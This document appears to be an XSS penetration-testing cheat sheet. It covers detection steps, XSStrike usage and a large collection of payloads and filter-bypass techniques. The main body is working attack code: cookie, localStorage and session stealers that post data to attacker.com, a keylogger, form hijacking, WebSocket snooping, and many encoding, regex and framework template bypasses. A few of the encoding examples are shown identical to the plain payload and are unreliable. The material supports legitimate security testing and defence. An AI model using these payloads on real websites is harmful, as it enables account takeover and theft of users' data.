Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser within the security context of the vulnerable website.
How It Works
XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. For example, when a website reflects user input:
<div>Hello, <?php echo $_GET['name']; ?></div>
An attacker might input: <script>alert(1)</script>
, resulting in:
<div>Hello, <script>alert(1)</script></div>
This script executes in the victim's browser with the same privileges as the legitimate website scripts.
Detection
Manual Testing
URL Parameter Tests
Test user input being reflected in the page through URL parameters:
# Step 1: Identify reflection points in URL parameters
site.com/page?search=TEST # Search parameters
site.com/page?name=TEST # User input fields
site.com/page?id=TEST # ID parameters
# Step 2: Test basic XSS payload in each parameter
site.com/page?search=<script>alert(1)</script>
site.com/page?name="><script>alert(1)</script>
site.com/page?id=</script><script>alert(1)</script>
# Step 3: Check if payload executes or gets reflected
# - If script executes: Direct XSS possible
# - If script is visible: HTML encoding might be in place
# - If script disappears: Filtering is active
Form Input Tests
Test all input fields in forms for XSS:
# Step 1: Identify form fields
<input type="text"> # Text inputs
<input type="search"> # Search boxes
<textarea> # Text areas
# Step 2: Test each field with detection payloads
"><img src=x onerror=alert(1)> # Tests quote escape
'><img src=x onerror=alert(1)> # Tests single quote escape
javascript:alert(1) # Tests href attributes
# Step 3: Observe the response
# - Check page source for payload reflection
# - Check if input is encoded
# - Check browser console for errors
HTTP Header Tests
Test headers that might be reflected in the response:
# Step 1: Test common reflected headers
User-Agent: <script>alert(1)</script>
Referer: <script>alert(1)</script>
Cookie: <script>alert(1)</script>
# Step 2: Test custom headers
X-Forwarded-For: <script>alert(1)</script>
X-Forwarded-Host: <script>alert(1)</script>
# Step 3: Check response headers and body
# - Look for header values in page source
# - Check for reflections in error messages
HTML Context Tests
Test payloads based on where input is reflected:
# Step 1: Inside HTML tags
Original: <div>USER_INPUT</div>
Test with: <script>alert(1)</script>
Test with: <img src=x onerror=alert(1)>
# Step 2: Inside HTML attributes
Original: <input value="USER_INPUT">
Test with: "><script>alert(1)</script>
Test with: " autofocus onfocus="alert(1)
# Step 3: Inside script tags
Original: <script>var name = 'USER_INPUT';</script>
Test with: ';alert(1);//
Test with: \';alert(1);//
JavaScript Context Tests
Test when input is reflected within JavaScript code:
# Step 1: Inside JavaScript strings
Original: var user = "USER_INPUT";
Test with: ";alert(1);//
Test with: \";alert(1);//
# Step 2: Inside JavaScript code
Original: var id = USER_INPUT;
Test with: alert(1)//
Test with: (alert(1))//
# Step 3: Inside JavaScript functions
Original: callback('USER_INPUT')
Test with: ');alert(1);//
Test with: '});alert(1);//
DOM Source Tests
Test common DOM-based XSS sources:
# Step 1: Test URL fragments
site.com/page#<img src=x onerror=alert(1)>
site.com/page#javascript:alert(1)
# Step 2: Test localStorage/sessionStorage
> localStorage.setItem('test', '<img src=x onerror=alert(1)>');
> sessionStorage.setItem('test', '<img src=x onerror=alert(1)>');
# Step 3: Test document.write sources
site.com/page?name=<div onmouseover='alert(1)'>
site.com/page?name=</script><script>alert(1)</script>
Using XSStrike
# Step 1: Basic scan
xsstrike -u "http://target.com/page?param=value"
# Step 2: Advanced scanning options
xsstrike -u "http://target.com/page?param=value" \
--crawl # Crawl the target
--params # Scan parameters
--blind # Test for blind XSS
--headers # Test headers
--vectors # Use custom vectors
--skip-dom # Skip DOM XSS scanning
# Step 3: Results analysis
1. Check reported vulnerabilities
2. Verify findings manually
3. Test suggested payloads
Context Tests
Tests XSS in different DOM contexts:
# JavaScript Variable Context
var user = "USER_INPUT"; # String variable
var obj = {"key": "USER_INPUT"}; # Object property
var arr = ["USER_INPUT"]; # Array element
# URL Parameter Context
?param=<script>alert(1)</script> # Basic URL injection
?param=javascript:alert(1) # JavaScript protocol
?param=data:text/html,<script>alert(1)</script> # Data protocol
# JSON Context
{"key":"<script>alert(1)</script>"} # JSON string
{"key":"</script><script>alert(1)</script>"} # Script tag break
Attack Vectors
Reflected XSS
XSS payload is reflected back in the server's immediate response:
# Basic Script Injection
<script>alert(document.cookie)</script>
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
# Event Handler Injection
<img src=x onerror="alert(document.cookie)">
<body onload="fetch('https://attacker.com?cookie='+document.cookie)">
# JavaScript Protocol
javascript:alert(document.cookie)
javascript:fetch('https://attacker.com?cookie='+document.cookie)
Stored XSS
Payload is stored on the target server and executed when users visit a page:
# Data Exfiltration
<script>
fetch('https://attacker.com', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: window.location.href,
localStorage: localStorage
})
});
</script>
# Keylogger Injection
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
# Form Hijacking
<script>
document.forms[0].action = 'https://attacker.com/logger';
</script>
DOM Based XSS
Payload is executed through client-side JavaScript manipulation:
# URL Fragment Exploitation
#<img src=x onerror=alert(1)> # Targeting location.hash
?search=<img src=x onerror=alert(1)> # Targeting location.search
# DOM Manipulation
document.write('... USER_INPUT ...') # document.write injection
element.innerHTML = '... USER_INPUT ...' # innerHTML injection
$("#element").html('... USER_INPUT ...') # jQuery html() injection
Advanced XSS Payloads
Cookie Theft
# Basic Cookie Stealer
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
# Advanced Cookie Stealer
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/logger', true);
xhr.send(JSON.stringify({
'url': window.location.href,
'cookies': document.cookie,
'localStorage': localStorage,
'sessionStorage': sessionStorage
}));
</script>
Session Hijacking
# Session Hijacker
<script>
fetch('/api/user/profile')
.then(r=>r.json())
.then(data=>fetch('https://attacker.com/logger?data='+btoa(JSON.stringify(data))));
</script>
# WebSocket Hijacker
<script>
var ws = new WebSocket('wss://target.com/ws');
ws.onmessage = function(e) {
fetch('https://attacker.com/ws-log?data='+btoa(e.data));
};
</script>
Bypass Techniques
Basic Tag Bypass
Used when basic XSS protections are in place:
# Case Variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x onerror=alert(1)>
# Tag Obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(1)>
Filter Evasion
Used when specific keywords or patterns are blocked:
# Script Tag Alternatives
<object data="data:text/html,<script>alert(1)</script>">
<embed src="data:text/html,<script>alert(1)</script>">
<iframe src="javascript:alert(1)">
# Event Handler Alternatives
onmouseover=alert(1)
OnMoUsEoVeR=alert(1)
/onclick=alert(1)//
Encoding Bypass
Different encoding methods to bypass filters:
# HTML Encoding
<script>alert(1)</script>
# URL Encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Unicode Encoding
\u003Cscript\u003Ealert(1)\u003C/script\u003E
# Hex Encoding
<script>alert(1)</script>
Content Length Bypass
Bypassing length restrictions:
# Short Payload
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<q/oncut=alert(1)>
Character Filter Bypass
Avoiding filtered characters:
# Quotes Bypass
<img src=x onerror=alert`1`>
<script>alert(String.fromCharCode(88,83,83))</script>
# Parentheses Bypass
onerror=alert`1`
onclick=alert.call`1`
onmouseover=alert.bind`1`
Context Escape Bypass
Breaking out of different contexts:
# JavaScript Context
'-alert(1)-'
';alert(1)//
\';alert(1)//
# Attribute Context
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
Modern Browser Bypass
Targeting modern browser features and APIs:
# Import Maps Abuse
<script type="importmap">{"imports": {"x": "data:text/javascript,alert(1)"}}</script>
<script type="module">import 'x'</script>
# Shadow DOM Injection
<div id=x></div>
<script>
x.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'
</script>
# Trusted Types Bypass
<script>
trustedTypes.createPolicy('p',{createHTML:_=>\'<img src=x onerror=alert(1)>\'}).createHTML('')
</script>
# Service Worker Injection
<script>
navigator.serviceWorker.register('data:text/javascript,alert(1)')
</script>
Advanced DOM Manipulation
Complex DOM manipulation techniques:
# MutationObserver Abuse
<script>
new MutationObserver(function(m){
alert(1);
o.disconnect();
}).observe(document.body,{subtree:true,childList:true})
</script>
# Template Element Injection
<template><img src=x onerror=alert(1)></template>
<script>document.body.appendChild(document.querySelector('template').content.cloneNode(true))</script>
# Custom Elements Abuse
<script>
customElements.define('xss-test', class extends HTMLElement {
connectedCallback() { alert(1) }
});
</script>
<xss-test></xss-test>
Event Handler Innovation
Novel event handler techniques:
# ConstructionEvent Abuse
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:x;}</style>
<xss id=x style="position:fixed;" onanimationcancel="alert(1)"></xss>
# Intersection Observer
<script>
new IntersectionObserver(([e]) => {
if (e.isIntersecting) alert(1)
}).observe(document.body)
</script>
# ResizeObserver Exploit
<script>
new ResizeObserver(() => alert(1)).observe(document.body)
</script>
Protocol Handler Exploitation
Abusing various protocol handlers:
# Data URL Abuse
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>
# Javascript Protocol Variants
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
<a href="javascript:alert(1)">Click</a>
# Blob URL Exploitation
<script>
URL.createObjectURL(new Blob(['<script>alert(1)</script>'],{type:'text/html'}))
</script>
### Modern Framework Bypass Targeting popular JavaScript frameworks:
# Vue Template Injection
{{constructor.constructor('alert(1)')()}}
{{_c.constructor('alert(1)')()}}
# Angular Template Injection
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
# React Props Injection
<div data-react-props="{'dangerouslySetInnerHTML':{'__html':'<img src=x onerror=alert(1)>'}}">
Advanced Encoding Techniques
Complex encoding combinations:
# Multi-layer Encoding
# Base64 + URL + HTML
<script>alert(1)</script>
# Unicode Escape Sequence
\u0027\u003e\u003c\u0073\u0076\u0067\u0020\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e
# CSS Escape
<style>@import '\\0061lert(1)';</style>
Regular Expression Bypass
Techniques to bypass regex-based filters:
# Newline Injection
<script>alert`
1`</script>
# Comment Injection
<!--><script>alert/**/('1')</script>
# Non-standard Attributes
<x onclick="alert(1)">click</x>
### Context-Aware Bypass
# CSS Context
<style>@import 'data:text/css;base64,KiB7eD11cmwoamF2YXNjcmlwdDphbGVydCgxKSl9';</style>
# SVG Context
<svg><set attributeName="onmouseover" to="alert(1)"/>
<svg><animate attributeName="onmouseover" to="alert(1)"/>
# Math Context
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><path id="</style><img onerror='alert(1)'"></mglyph></mtext></math>
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
XSStrike | Advanced XSS detection | Automated scanning |
KNOXSS | Online XSS discovery | Quick testing |
XSSHunter | Blind XSS detection | Delayed XSS finding |
BeEF | Browser exploitation | Post-XSS exploitation |
DOMPurify | XSS sanitization | Prevention testing |